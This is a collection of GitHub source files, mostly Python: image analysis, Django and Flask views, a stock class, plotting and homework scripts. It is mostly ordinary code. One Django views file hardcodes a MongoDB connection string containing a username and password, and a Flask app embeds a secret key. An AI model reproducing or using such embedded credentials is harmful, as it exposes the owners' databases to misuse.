sigma_max=sigma_max)\n\ndef predict_microsporidia(todo, microsporidia_model_path, dy96_folder, microsporidia):\n #If not predicting microsporidia, just return the todo with nothing added\n if microsporidia == 0:\n return(todo)\n #Otherwise, I suppose we should predict microsporidia...\n elif microsporidia == 1:\n #Load model\n file = open(microsporidia_model_path,'rb')\n clf = pickle.load(file)\n # For image in imput images, load it's result file\n image_no = 1\n print(\"Starting microsporidia prediction\")\n for record in todo:\n input_image = record['input_image']\n dy96_image_title = input_image[:-8] + \"DY96.png\"\n dy96_path = os.path.join(dy96_folder, dy96_image_title)\n dy96_image = cv2.imread(dy96_path)\n print(\" Working on image no \" + str(image_no) + \" of \" + str(len(todo)))\n image_no += 1\n worm_number = 1\n for segmentation in record['single_worms']:\n # Crop in to specific worm bbox\n bbox = segmentation['bbox']\n cropped_to_bbox = dy96_image[int(bbox[1]):int(bbox[3]), int(bbox[0]):int(bbox[2])]\n gimage = cv2.cvtColor(np.ascontiguousarray(cropped_to_bbox), cv2.COLOR_BGR2GRAY)\n gimage_features = features_func(gimage)\n # Predict microsporidia\n pred = future.predict_segmenter(gimage_features, clf)\n del gimage_features\n pred[pred == 1] = 0\n pred[pred == 2] = 255\n seg_l = segmentation[\"transposed_segmentation\"].tolist()\n seg_l.append(seg_l[0])\n #Create lists of x and y values\n xs, ys = zip(*seg_l) \n height, width = pred.shape[:2]\n # Create a mesh grid representing the image dimensions\n x_grid, y_grid = np.meshgrid(np.arange(width), np.arange(height))\n\n # Convert the coordinates to a 1D array\n x_coords = x_grid.reshape(-1)\n y_coords = y_grid.reshape(-1)\n\n # Create a path for the polygon\n polygon_path = Path(np.column_stack([xs, ys]))\n\n # Check which points are inside the polygon\n points_inside_polygon = polygon_path.contains_points(np.column_stack([x_coords, y_coords]))\n\n # Reshape the boolean array to match the image dimensions\n mask = points_inside_polygon.reshape((height, width))\n # Invert the mask - want pixels inside worm, not outside!\n mask = ~mask\n #Mask image\n masked_image = pred.copy()\n masked_image[mask] = np.nan\n unique_values, value_counts = np.unique(masked_image, return_counts=True)\n # Create a dictionary of {value: count} pairs\n value_counts_dict = {value: count for value, count in zip(unique_values, value_counts)}\n #Deal with zero microsporidia\n if 255 not in value_counts_dict:\n value_counts_dict[255] = 0\n total_px = value_counts_dict[0] + value_counts_dict[255]\n percent_infected = 100 * (value_counts_dict[255]/total_px)\n segmentation['pred'] = pred\n segmentation['worm_area_px'] = total_px\n segmentation['percent_infected'] = percent_infected\n if worm_number % 2 == 0:\n print(\" Within image microsporidia prediction \" + str(100 * (worm_number/len(record[\"single_worms\"])))[:5] + \"% complete.\")\n worm_number += 1\n return(todo)\n\n# Saving results\ndef csv_saver(embryos, microsporidia, save_csv, finaldict, input_folder):\n if save_csv == 1:\n if embryos == 0 and microsporidia == 0:\n print(\"No predictions saved as no predictions generated, check 'embryos' or 'microsporidia' in the detector are set to 1 rather than default of 0.\")\n else:\n print(\"Saving results to csv within input/DY96 folder.\")\n # Open csv to save stuff in\n savefile = open(os.path.join(input_folder,'demo_file.csv'), 'w', newline='')\n # Make writer write results to that save file\n writer = csv.writer(savefile)\n # Get column headers by getting list of by worm dictionary keys\n column_heads = list(finaldict[0][\"single_worms\"][0].keys())\n # Write those headers to the first line of the file\n writer.writerow(column_heads)\n # Write values from each worm into csv\n for image in finaldict:\n for worm in image[\"single_worms\"]:\n writer.writerow(worm.values())\n # Close file after writing\n savefile.close()\n print(\"Saving complete.\")\n return()\n\n# All-in-one detector with option handling\n\ndef detector(inputfolder, \n # Prediction selection\n embryos = 0, microsporidia = 0, \n # Save selection\n save_csv = 1, save_pickle = 1, \n # Model path definition\n embryo_model = \"/content/drive/MyDrive/yolov8_out/embryo_detect_tile_l/detect/train/weights/tile_embryo_detect_l_20230206.pt\",\n microsporidia_model = \"/content/drive/MyDrive/rf_models/100trees10branches_just_intensity.pickle\"\n ):\n # Quick empty path throwback - shouldn't trigger with the default model paths!\n if len(embryo_model) < 3:\n print(\"Please input/check embryo model path\")\n return()\n if len(microsporidia_model) < 3:\n print(\"Please input/check microsporidia model path\")\n return()\n # With how I wrote this, must make embryo detection !THEN! microssporidia/other channel. Other orders won't work as is.\n\n todo = load_info(inputfolder)\n todo_with_embryos = predict_embryos(todo, embryo_model, inputfolder, embryos)\n todo_with_microsporidia = predict_microsporidia(todo_with_embryos, microsporidia_model, inputfolder, microsporidia)\n csv_saver(embryos, microsporidia, save_csv, todo_with_microsporidia, inputfolder)\n # Save results as pickle for expanded datause\n print(\"Pickling results in input folder\")\n filehandler = open(os.path.join(inputfolder + \"predictions.pickle\"), \"wb\")\n pickle.dump(todo_with_microsporidia, filehandler)\n filehandler.close()\n print(\"Pickle complete.\")\n return(todo_with_microsporidia)\n#%%\nres = detector(inputfolder = \"C:/Users/ebjam/Downloads/gui_testers-20230213T211340Z-001/second_detector_testers_96/DY96/\", embryos = 1, microsporidia = 0)\n","repo_name":"E-B-J/wormfind","sub_path":"code/utils and scraps/embryo_and_microsporidia_detector_v4_colab_compatible.py","file_name":"embryo_and_microsporidia_detector_v4_colab_compatible.py","file_ext":"py","file_size_in_byte":12143,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"27013678885","text":"from django.shortcuts import render\r\nfrom django.core.paginator import Paginator, EmptyPage, PageNotAnInteger\r\nfrom django.conf import settings\r\nfrom .models import *\r\nfrom haystack.views import SearchView\r\n# 视图以通用视图实现\r\nclass MySearchView(SearchView):\r\n # 模版文件\r\n template = 'search.html'\r\n # 重写响应方式,如果请求参数q为空,返回模型Product的全部数据,否则根据参数q搜索相关数据\r\n def create_response(self):\r\n if not self.request.GET.get('q', ''):\r\n show_all = True\r\n product = Product.objects.all()\r\n paginator = Paginator(product, settings.HAYSTACK_SEARCH_RESULTS_PER_PAGE)\r\n try:\r\n page = paginator.page(int(self.request.GET.get('page', 1)))\r\n except PageNotAnInteger:\r\n # 如果参数page的数据类型不是整型,则返回第一页数据\r\n page = paginator.page(1)\r\n except EmptyPage:\r\n # 用户访问的页数大于实际页数,则返回最后一页的数据\r\n page = paginator.page(paginator.num_pages)\r\n return render(self.request, self.template, locals())\r\n else:\r\n show_all = False\r\n qs = super(MySearchView, self).create_response()\r\n return qs\r\n","repo_name":"Rockyzsu/CodePool","sub_path":"玩转Django2源代码/第13章/第13.3节/MyDjango/index/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1336,"program_lang":"python","lang":"en","doc_type":"code","stars":19,"dataset":"github-code","pt":"81"} +{"seq_id":"645666742","text":"from django.shortcuts import render,redirect\nimport pymongo\nfrom .models import server_details\nfrom django.http import HttpResponse\nfrom django.conf import settings\nfrom django.core.mail import send_mail\nclient = pymongo.MongoClient('mongodb+srv://root:UR6dgfcLBXkMlkUW@hackton.u1vq7f7.mongodb.net/')\nfrom app1.views import rms\nemail_id = \"\"\n\n\n\n\ndb = client['aventus']\ncollection = db['metadata']\n\n\ndef server_train(request):\n data = server_details.objects.all()\n \n result = collection.find({},{'name':1,'email':1})\n form = [(document['name'],document['email']) for document in result]\n global email_id\n if request.method == \"POST\":\n email_name = request.POST.get('usernames')\n email_id = email_name\n message = f\"Hi request to access your model parametrs\"\n email_from = settings.EMAIL_HOST_USER\n recipient_list = [email_name]\n subject = \"Paramter\"\n send_mail( subject, message, email_from, recipient_list )\n return redirect('paymment_page')\n return render(request, 'server/server.html', {'data': data,\"form\": form})\n\ndef server_index(request):\n \n return render(request,'server/index.html')\n\n \ndef insert_data(request):\n if request.method == \"POST\":\n obj = request.POST.get('id_user')\n documnet = collection.find_one({\"id\":obj})\n obj = server_details(object_id = obj,client_name = documnet['name'],model_acc=\"90\",model_loss = \"80\")\n obj.save()\n return redirect('server_train')\n \ndef client_information(request):\n result = collection.find()\n print(result)\n return render(request,'server/clinet_info.html',{'result':result})\n\ndef send_mail_user(request):\n user_name,emial_id = rms()\n print(emial_id)\n return HttpResponse('ok')\n\n\n\n","repo_name":"SahilJain8/Aventus","sub_path":"anubis/server/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1770,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"13657904123","text":"# Created by Bayley King (Booth OW)\r\n# Python 3.7\r\n# Started on 12/16/2019\r\n# Github link \r\n\r\n'''\r\ndata = pd.read_csv(\"InData.csv\", dtype=object)\r\n\r\nfor row in data.iterrows():\r\n print(row)\r\n\r\ndef search(choice,name,tier):\r\n # \r\n print(\"search\")\r\n\r\n\r\nclass Map():\r\n\r\n def __init__(self, data):\r\n self.team1 = data\r\n\r\n'''\r\nimport pandas as pd\r\nfrom os import system, name\r\nfrom time import sleep\r\nimport timeit\r\nimport random\r\nimport numpy as np\r\nfrom tabulate import tabulate\r\n\r\ndef clear():\r\n _ = system('clear')\r\n\r\n\r\nclear()\r\ntoPrint = []\r\ninData = pd.read_csv(\"InData.csv\", dtype=object)\r\noutData = pd.read_csv(\"OutData.csv\",dtype=object,index_col=0)\r\n#players1 = ['T1P1','T1P2','T1P3','T1P4','T1P5','T1P6']\r\n#players2 = ['T2P1','T2P2','T2P3','T2P4','T2P5','T2P6']\r\n\r\n'''\r\ndef printPlayers(player,maps):\r\n for p in player:\r\n toPrint.append([' ',inData[p][maps]])\r\ndef newTeams(team1,team2,maps):\r\n toPrint.append(['Team 1:',team1])\r\n printPlayers(players1,maps) \r\n toPrint.append(['Team 2:',team2])\r\n printPlayers(players2,maps)\r\n return team1,team2\r\n'''\r\ndef increaseScore(teamW,teamL,mode,Map,score1,score2,final):\r\n if final:\r\n outData.loc[teamW,'Game W'] = int(outData.loc[teamW,'Game W']) + 1\r\n outData.loc[teamL,'Game L'] = int(outData.loc[teamL,'Game L']) + 1\r\n\r\n else:\r\n #print(team1,mode,Map)\r\n for col in [mode+' W',Map+' W','Map W']:\r\n #print(mode)\r\n #print(Map)\r\n\r\n outData.loc[teamW,col] = int(outData.loc[teamW,col]) + 1\r\n for col in [mode+' L',Map+' L','Map L']:\r\n outData.loc[teamL,col] = int(outData.loc[teamL,col]) + 1\r\n for t,s in zip([teamW,teamL],[score1,score2]):\r\n outData.loc[t,mode+' M S'] = int(outData.loc[t,mode+' M S']) + int(s)\r\n\r\n\r\ndef score(team1,team2,t1Score,t2Score,mode,final,maps=None):\r\n if t1Score > t2Score:\r\n #print(team1,team2,t1Score,t2Score,mode,maps)\r\n increaseScore(team1,team2,mode,maps,t1Score,t2Score,final)\r\n #Team 1 won the map\r\n elif t2Score > t1Score:\r\n #Team 2 won the map\r\n increaseScore(team2,team1,mode,maps,t2Score,t1Score,final)\r\n else:\r\n if final:\r\n for t in [team1,team2]:\r\n outData.loc[t,'Game T'] = int(outData.loc[t,'Game T']) + 1\r\n else:\r\n for t in [team1,team2]:\r\n print(team1,team2,mode,maps,t1Score,t2Score,final)\r\n for col in [mode+' T',maps+' T','Map T']:\r\n outData.loc[t,col] = int(outData.loc[t,col]) + 1\r\n for t,s in zip([team1,team2],[t1Score,t2Score]):\r\n outData.loc[t,mode+' M S'] = int(outData.loc[t,mode+' M S']) + int(s)\r\n \r\n\r\ndef main():\r\n\r\n team1Score = team2Score =0\r\n\r\n for maps in range(len(inData)):\r\n newTeam1 = inData['team1'][maps]\r\n newTeam2 = inData['team2'][maps]\r\n\r\n #if newTeam1 != team1 or newTeam2 != team2:\r\n # team1,team2 = newTeams(newTeam1,newTeam2,maps)\r\n\r\n if inData['MapType'][maps] == 'Final': # Final score entry\r\n toPrint.append(['\\nFinal Score:',None,inData['Team1Score'][maps],inData['Team2Score'][maps]])\r\n score(newTeam1,newTeam2,inData['Team1Score'][maps],inData['Team2Score'][maps],inData['MapType'][maps],True)\r\n\r\n if inData['Team1Score'][maps] > inData['Team2Score'][maps]:\r\n team1Score += 1\r\n else:\r\n team2Score += 1\r\n else: # Normal Map. Calc score\r\n score(newTeam1,newTeam2,inData['Team1Score'][maps],inData['Team2Score'][maps],inData['MapType'][maps],False,inData['Map'][maps])\r\n toPrint.append([inData['MapType'][maps],inData['Map'][maps],inData['Team1Score'][maps],inData['Team2Score'][maps]])\r\n #print(tabulate(toPrint))\r\n print('\\nHome Team Score:',team1Score)\r\n print('Away Team Score:',team2Score)\r\n outData.to_csv(\"OutData.csv\")\r\n\r\nif __name__ == \"__main__\":\r\n main()","repo_name":"king2b3/OW_Tool","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":4003,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"27568308466","text":"import yfinance as yf\n\nclass Stock(yf.Ticker):\n \"\"\"\n Stock class\n Attributes:\n symbol (str): stock symbol\n \"\"\"\n\n def __init__(self, symbol):\n super().__init__(symbol)\n self.symbol = symbol\n\n def get_history_metadata(self, start_date, end_date):\n history_metadata = super().history(start=start_date, end=end_date, interval='1d', actions=False)\n return history_metadata\n\n @staticmethod\n def create_stocks(symbols):\n stocks = []\n for symbol in symbols:\n stock = Stock(symbol)\n stocks.append(stock)\n return stocks\n","repo_name":"yamtimor/StockResearcher","sub_path":"src/Stock.py","file_name":"Stock.py","file_ext":"py","file_size_in_byte":620,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"5989927401","text":"from PySide6.QtWidgets import QListWidgetItem\r\n\r\nfrom yapsy.IPlugin import IPlugin\r\n\r\n\r\nclass Plugin(IPlugin):\r\n\r\n def __init__(self):\r\n IPlugin.__init__(self)\r\n\r\n def activate(self):\r\n IPlugin.activate(self)\r\n return\r\n\r\n def deactivate(self):\r\n IPlugin.deactivate(self)\r\n\r\n def set_current_window(self, editor):\r\n self.editor_ = editor\r\n\r\n self.ctx.register_command('commands_list', self.show_commands_window, None,\r\n False)\r\n self.ctx.bind_key('Alt+X', 'commands_list')\r\n\r\n def show_commands_window(self, ctx):\r\n self.commands_ = ctx.get_commands()\r\n\r\n self.content_window_ = cw = ctx.create_list_content_window()\r\n\r\n self.list_widget_ = l = cw.list_widget_\r\n self.text_edit_ = t = cw.text_edit_\r\n\r\n self.list_items_ = []\r\n\r\n f_c = self.ctx.get_theme_def_color('default', 'foreground')\r\n b_c = self.ctx.get_theme_def_color('default', 'background')\r\n\r\n for cmd in self.commands_:\r\n item = QListWidgetItem(cmd, l)\r\n item.setForeground(f_c)\r\n item.setBackground(b_c)\r\n\r\n self.list_items_.append(item)\r\n\r\n t.returnPressed.connect(self.execute_command)\r\n l.itemDoubleClicked[QListWidgetItem].connect(self.execute_command)\r\n\r\n self.content_window_.select_first_visible_item()\r\n\r\n cw.show()\r\n\r\n def execute_command(self):\r\n self.item_double_clicked(self.list_widget_.currentItem())\r\n\r\n def item_double_clicked(self, item):\r\n self.ctx.run_command(item.text())\r\n","repo_name":"stonewell/eim","sub_path":"src/eim/plugins/commands_window/plugin.py","file_name":"plugin.py","file_ext":"py","file_size_in_byte":1474,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"14530967831","text":"from flask import Flask, render_template, request, redirect, flash, session\nfrom mysqlconnection import MySQLConnector\nimport re\nEMAIL_REGEX = re.compile(r'^[a-zA-Z0-9.+_-]+@[a-zA-Z0-9._-]+\\.[a-zA-Z]+$')\n\napp = Flask(__name__)\napp.secret_key = \"ShhhDontTell\"\nmysql = MySQLConnector(app, 'email_validation_wdb')\n\n@app.route('/')\ndef index():\n return render_template('index.html')\n\n@app.route('/validate', methods = ['POST'])\ndef validation():\n email_address = request.form['email_address']\n data = {'email_address': email_address}\n # Check to see if email is already in database\n query = 'select id from email_addresses where email_address = :email_address'\n db_check = mysql.query_db(query, data)\n errors=True\n # Validations and error messages\n if len(db_check)>0:\n flash(\"Email already in the database!\")\n elif len(email_address) < 1:\n flash(\"Email cannot be blank!\")\n elif not EMAIL_REGEX.match(email_address):\n flash(\"Invalid Email Address!\")\n else:\n errors=False\n # if not in database AND no errors, update database and go to success page\n if errors:\n return redirect('/')\n else:\n update = 'insert into email_addresses (email_address, created_at) values(:email_address, NOW())'\n mysql.query_db(update, data)\n flash(\"The email address you entered is a VALID email address! Thank you!\")\n return redirect ('/success')\n\n@app.route('/success')\ndef successful_validation():\n query = 'select id, email_address, created_at from email_addresses'\n emails = mysql.query_db(query)\n return render_template('success.html', emails = emails)\n\n@app.route('/delete/')\ndef delete(id):\n query = 'DELETE FROM email_addresses WHERE id=:id'\n data = {'id': id}\n mysql.query_db(query, data)\n return redirect ('/success')\n\n\napp.run(debug=True)","repo_name":"cd-chicago-june-cohort/email_validation_with_db_Alyssa","sub_path":"server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":1854,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"25968839766","text":"# coding: utf-8\n\nimport json, unittest, requests\n\nprefix = 'http://api.iyengarlabs.org/v1/'\nnodelete = False\n\nclass TestSubjectAndWork(unittest.TestCase):\n \"\"\"Subject unit test stubs\"\"\"\n\n def testSubjectRemoveAllButRoot(self):\n # model = swagger_client.models.subject.Subject() # noqa: E501\n removeAllButRoot(self, 'subject')\n # def testWorkRemoveAllButRoot(self):\n removeAllButRoot(self, 'work')\n # def testWorkRemoveAllButRoot(self):\n removeAllButRoot(self, 'person')\n\ndef removeAllButRoot(self, entity):\n response = requests.get(prefix + 'root' + entity)\n self.assertEqual(200, response.status_code)\n responseAsDict = json.loads(response.text)\n # print(responseAsDict)\n self.assertIn(entity, responseAsDict)\n field = {'subject':'title', 'work':'title', 'person':'name'}[entity]\n self.assertIn(field, responseAsDict[entity])\n if entity + '_relations' in responseAsDict[entity]:\n entity_relations = responseAsDict[entity][entity + '_relations']\n for entry in entity_relations:\n if nodelete: print('from root %s - child will be deleted %s' % (entity, entry['id']))\n else:\n print('from root %s - child is deleted %s' % (entity, entry['id']))\n response = requests.delete(prefix + entity + '/remove/' + entry['id'] + '?deletesubtree=true')\n self.assertIn(response.status_code, [200, 201])\n self.assertEqual('\"OK\"', response.text)\nif __name__ == '__main__':\n unittest.main()\n","repo_name":"Naras/knowledgeTree_ApiIyengar","sub_path":"allTestsWithClearedRoot.py","file_name":"allTestsWithClearedRoot.py","file_ext":"py","file_size_in_byte":1537,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"81"} +{"seq_id":"71270939785","text":"from config.dbconfig import pg_config\nimport psycopg2\n\nclass ResourceOrdersDAO:\n\n # order_id, resource_id, order_quantity, discount\n def __init__(self):\n connection_url = \"dbname=%s user=%s password=%s\"% (pg_config['dbname'], pg_config['user'], pg_config['passwd'])\n self.conn = psycopg2._connect(connection_url)\n\n def insert(self, order_id, resource_id, order_quantity, discount):\n cursor = self.conn.cursor()\n query = \"insert into resource_orders(order_id, resource_id, order_quantity, discount) values (%s, %s, %s, %s);\"\n cursor.execute(query, (order_id, resource_id, order_quantity, discount))\n self.conn.commit()\n\n def update(self, order_id, resource_id, order_quantity, discount):\n cursor = self.conn.cursor()\n query = \"update resource_orders set order_quantity = %s, discount = %s where order_id = %s and resource_id = %s\"\n cursor.execute(query, (order_quantity, discount, order_id, resource_id))\n self.conn.commit()\n\n def delete(self, order_id):\n cursor = self.conn.cursor()\n query = \"delete from resource_orders where order_id = %s\"\n cursor.execute(query, (order_id,))\n self.conn.commit()\n","repo_name":"Fernando1929/DisasterResources","sub_path":"backend/dao/resourceOrders.py","file_name":"resourceOrders.py","file_ext":"py","file_size_in_byte":1211,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"81"} +{"seq_id":"35881799118","text":"import matplotlib.pyplot as plt\nimport seaborn as sns\nimport numpy as np\nfrom sklearn.metrics import confusion_matrix\n\n\ndef run_plot_metrics(models, metrics, encoded, data):\n plot_autoencoder_classifier_metrics(metrics['reconstruction_metrics'], metrics['classification_metrics'])\n plot_confusion_matrics(models['downstream_classifier'], encoded, data)\n\n\ndef plot_autoencoder_classifier_metrics(reconstruction_metrics, classification_metrics):\n # plot the training and validation loss metrics\n fig, (ax1, ax2, ax3) = plt.subplots(1, 3, figsize=(30, 12))\n\n # plot the image reconstruction loss\n ax1.plot(range(len(reconstruction_metrics.history['loss'])), reconstruction_metrics.history['loss'], label='Training Loss', linewidth=5, color='dodgerblue')\n ax1.plot(range(len(reconstruction_metrics.history['val_loss'])), reconstruction_metrics.history['val_loss'], label='Validation Loss', linewidth=5, color='red')\n ax1.legend(fontsize=14), ax1.set_xlabel('Epochs', fontsize=14), ax1.set_ylabel('Mean Squared Error (MSE)', fontsize=14)\n ax1.set_title('Image Reconstruction Loss', fontsize=16)\n\n # plot the classification metrics\n ax2.plot(range(len(classification_metrics.history['loss'])), classification_metrics.history['loss'], label='Training Loss', linewidth=5, color='dodgerblue')\n ax3.plot(range(len(classification_metrics.history['accuracy'])), classification_metrics.history['accuracy'], label='Training Accuracy', linewidth=5, color='green')\n ax2.legend(fontsize=14), ax2.set_xlabel('Epochs', fontsize=14), ax2.set_ylabel('Categorical Cross Entropy', fontsize=14)\n ax3.legend(fontsize=14), ax3.set_xlabel('Epochs', fontsize=14), ax3.set_ylabel('Accuracy', fontsize=14)\n ax2.set_title('Classification Loss On Encoded Images', fontsize=16)\n ax3.set_title('Classification Accuracy on Encoded Images', fontsize=16)\n plt.suptitle('Metrics From Autoencoder and Classifier', fontsize=22, fontweight='bold')\n plt.show()\n\n\ndef plot_confusion_matrics(downstream_classifier, encoded, data):\n # plot confusion matrix of the classification results\n fig, axes = plt.subplots(1, 2, figsize=(20, 8), sharey=True)\n train_predictions = downstream_classifier.predict(encoded['encoded_training_set'])\n train_predicted_labels = [np.where(train_predictions[x] == np.max(train_predictions[x]))[0][0] for x in range(np.shape(train_predictions)[0])]\n train_norm_matrix = confusion_matrix(data['y_train'], train_predicted_labels, normalize='true')\n sns.heatmap(train_norm_matrix, ax=axes[0], annot=True, yticklabels=data['labels'], xticklabels=data['labels'])\n axes[0].set_title('Encoded Training Data', fontsize=16)\n\n test_predictions = downstream_classifier.predict(encoded['encoded_test_set'])\n test_predicted_labels = [np.where(test_predictions[x] == np.max(test_predictions[x]))[0][0] for x in range(np.shape(test_predictions)[0])]\n test_norm_matrix = confusion_matrix(data['y_test'], test_predicted_labels, normalize='true')\n sns.heatmap(test_norm_matrix, ax=axes[1], annot=True, yticklabels=data['labels'], xticklabels=data['labels'])\n axes[1].set_title('Encoded Test Data', fontsize=16)\n\n plt.suptitle('Confusion Matrices From Encoded Training/Test Data', fontweight='bold', fontsize=20)\n plt.show()\n","repo_name":"ankushgpta2/Find_My_Images_v1.01","sub_path":"plot_metrics.py","file_name":"plot_metrics.py","file_ext":"py","file_size_in_byte":3285,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"70135266506","text":"# coding=utf-8\n\nfrom model import *\n\n\n@db.register\nclass Translation(BaseDocument):\n \"\"\"\n Store all translations\n \"\"\"\n\n __collection__ = \"translations\"\n\n structure = {\n 'text': unicode,\n 'variations': [unicode],\n 'direction': unicode,\n 'author': unicode,\n 'create_date': datetime.datetime\n }\n\n required_fields = ['text', 'direction']\n default_values = {\n 'create_date': datetime.datetime.now(),\n 'author': 'anonymous'\n }\n\n indexes = [\n {\n 'fields': ['text', 'direction'],\n 'unique': True\n },\n {\n 'fields': ['author']\n }]\n","repo_name":"avatar29A/wordeater-web","sub_path":"we-web/domain/translations.py","file_name":"translations.py","file_ext":"py","file_size_in_byte":661,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"16093510821","text":"# 파일명 : HomeWork 8-2.py\r\n# 프로그램 목적 및 기능: 10명의 학생들의 성적 데이터를 파일로부터 입력받고\r\n# 성적 합, 평균을 계산하고 출력과 파일출력, 과목별 평균도 게산 및 출력\r\n# 하는 프로그램\r\n# 프로그램 작성자 : 신대홍(2022년 4월 30일)\r\n# 최종 Update : Version 1.0.0, 2022년 4월 30일(신대홍)\r\n# =======================================================================\r\n# 수정자 날짜 버전 수정내용\r\n# =======================================================================\r\n# 신대홍 2022/04/30 v1.0.0 최초작성\r\n\r\ndef Print_Stu(Stu): #출력 함수\r\n print(\"====================================================\")\r\n print(\"{0:>5} : {1:>6} {2:>6} {3:>6} {4:>6} {5:>7} {6:>7}\"\\\r\n .format(\"Name\", \"Kor\", \"Eng\", \"Math\", \"Sci\", \"Sum\", \"Avg\"))\r\n print(\"----------------------------------------------------\")\r\n #기본 정보 출력\r\n for i in range(0, len(Stu)): #Students 리스트의 개수만큼 반복\r\n print(\"{0:>5} : {1:>6d} {2:>6d} {3:>6d} {4:>6d} {5:>7d} {6:>7.2f} \"\\\r\n .format(Stu[i][0], Stu[i][1], Stu[i][2], Stu[i][3], Stu[i][4], Stu[i][5], Stu[i][6]))\r\n #요소들을 출력\r\n print(\"====================================================\")\r\n print()\r\n#\r\ndef Calculate_Stu(Stu): #학생들의 점수 합계, 평균 계산\r\n for i in range(0, len(Stu)):\r\n Sum = Stu[i][1] + Stu[i][2] + Stu[i][3] + Stu[i][4]\r\n #Sum = 국어 + 영어 + 수학 + 과학\r\n Stu[i].append(int(Sum)) # 정수형으로 학생들 리스트요소에 집어넣어줌\r\n Avg = Sum / 4 #평균 계산\r\n Stu[i].append(float(Avg)) #실수형으로 집어넣음\r\n#\r\ndef Calculate_Curri(Stu): #과목당 평균 계산\r\n Sum_Kor = Sum_Eng = Sum_Math = Sum_Sci = 0\r\n #합계들 초기값 설정\r\n for i in range(0, len(Stu)): #각 과목 합계들 계산\r\n Sum_Kor += Stu[i][1]\r\n Sum_Eng += Stu[i][2]\r\n Sum_Math += Stu[i][3]\r\n Sum_Sci += Stu[i][4]\r\n\r\n Avg_Cur = dict(Kor_avg = float(Sum_Kor/len(Stu)), Eng_avg = float(Sum_Eng/len(Stu)),\\\r\n Math_avg = float(Sum_Math/len(Stu)), Sci_avg = float(Sum_Sci/len(Stu)))\r\n #평균을 게산해서, 딕셔너리 형태로 만들어서 Avg_Cur을 만듦\r\n print(\"Average score of each class : \")\r\n for Avgkey, AvgVal in Avg_Cur.items(): #Avg_Cur을 출력, 키와 아이템 따로따로 출력함\r\n print(\"{0:<8} = {1:>5.2f}\".format(Avgkey, AvgVal))\r\n print()\r\n#\r\ndef FilePrint_Stu(Stu): #파일 출력 함수\r\n Output = \"output.txt\"\r\n fout = open(Output, 'w') # 출력용 파일 오픈\r\n\r\n fout.write(\"{0:>5} : {1:>6}, {2:>6}, {3:>6}, {4:>6}, {5:>7}, {6:>7}\\n\"\\\r\n .format(\"Name\", \"Kor\", \"Eng\", \"Math\", \"Sci\", \"Sum\", \"Avg\"))\r\n fout.write(\"----------------------------------------------------\\n\")\r\n for i in range(0, len(Stu)):\r\n fout.write(\"{0:>5} : {1:>6d}, {2:>6d}, {3:>6d}, {4:>6d}, {5:>7d}, {6:>7.2f} \\n\"\\\r\n .format(Stu[i][0], Stu[i][1], Stu[i][2], Stu[i][3], Stu[i][4], Stu[i][5], Stu[i][6]))\r\n #Print_Stu와 거의 같으나 print가 fout.write로 바뀜(C에선 fprintf와 비슷함)\r\n fout.close() #파일 닫기\r\n\r\ndef main(): #메인 함수\r\n DataFile = \"student_records.txt\" #파일 이름\r\n fin = open(DataFile, 'r')\r\n Students = []\r\n\r\n for line in fin.readlines(): #파일을 한 줄 읽어서 읽은 줄이 없을 때까지 진행\r\n Name, Kor, Eng, Math, Sci = line.split() #읽은 line을 공백칸을 기준으로 split하여 변수들에 담아준다.\r\n temp = [Name, int(Kor), int(Eng), int(Math), int(Sci)] #나눈 변수들을 이용해 하나의 리스트로 만듦\r\n Students.append(temp) #그 리스트를 contryLst에 담아준다.\r\n\r\n for i in range(0, len(Students)):\r\n print(Students[i])\r\n print()\r\n\r\n Calculate_Stu(Students) # 학생들 성적 평균 계산\r\n Print_Stu(Students) #출력\r\n Calculate_Curri(Students) #과목 평균 계산 및 출력\r\n FilePrint_Stu(Students) #학생 리스트 파일 출력\r\n fin.close() # 입력용 파일 닫기\r\n\r\nif __name__ == \"__main__\":\r\n main() #메인함수 실행\r\n","repo_name":"Wa-MeoHong/2022_YU_ICE_Python_HW_M-H","sub_path":"과제 8/HomeWork 8-2 행렬 클래스/HomeWork 8-2.py","file_name":"HomeWork 8-2.py","file_ext":"py","file_size_in_byte":4266,"program_lang":"python","lang":"ko","doc_type":"code","stars":2,"dataset":"github-code","pt":"81"} +{"seq_id":"20404725580","text":"class ReusableAbstract:\n\n def third_char(self, logout):\n my_string = \"Hello, World!\"\n third_character = my_string[2]\n print(third_character)\n\n def oanf_oanfo_lpa(self, sqq, mnoa):\n print(\"anifsjaof\")\n sun = sqq + mnoa\n sqq = sun + mnoa\n mnoa = sun + sqq\n sun = mnoa + sqq\n return sun\n\n def add_three_or_two(self, a, b, c=None):\n if c is None:\n return a + b\n else:\n return a + b + c\n\n def pata_nahi_kya_hai(self):\n # Read the Excel file\n df = pd.read_excel('path_to_your_excel_file.xlsx')\n # Set display options\n pd.set_option('display.max_rows', None)\n pd.set_option('display.max_columns', None)\n # Print the DataFrame\n print(df)\n","repo_name":"keshav12-deloitte/DE-Dupe","sub_path":"resusable_abstract.py","file_name":"resusable_abstract.py","file_ext":"py","file_size_in_byte":790,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"38536231935","text":"import errno\nimport os\n\n\n\nclass FileDoesNotExist(Exception):\n \"\"\"File does not exist.\"\"\"\n\n\ndef GetFileContents(filename):\n \"\"\"Returns the contents of a file.\n\n\n Args:\n filename: path to a file.\n Returns:\n a string.\n Raises:\n FileDoesNotExist: if the file does not exist\n IOError: for other local IO errors\n 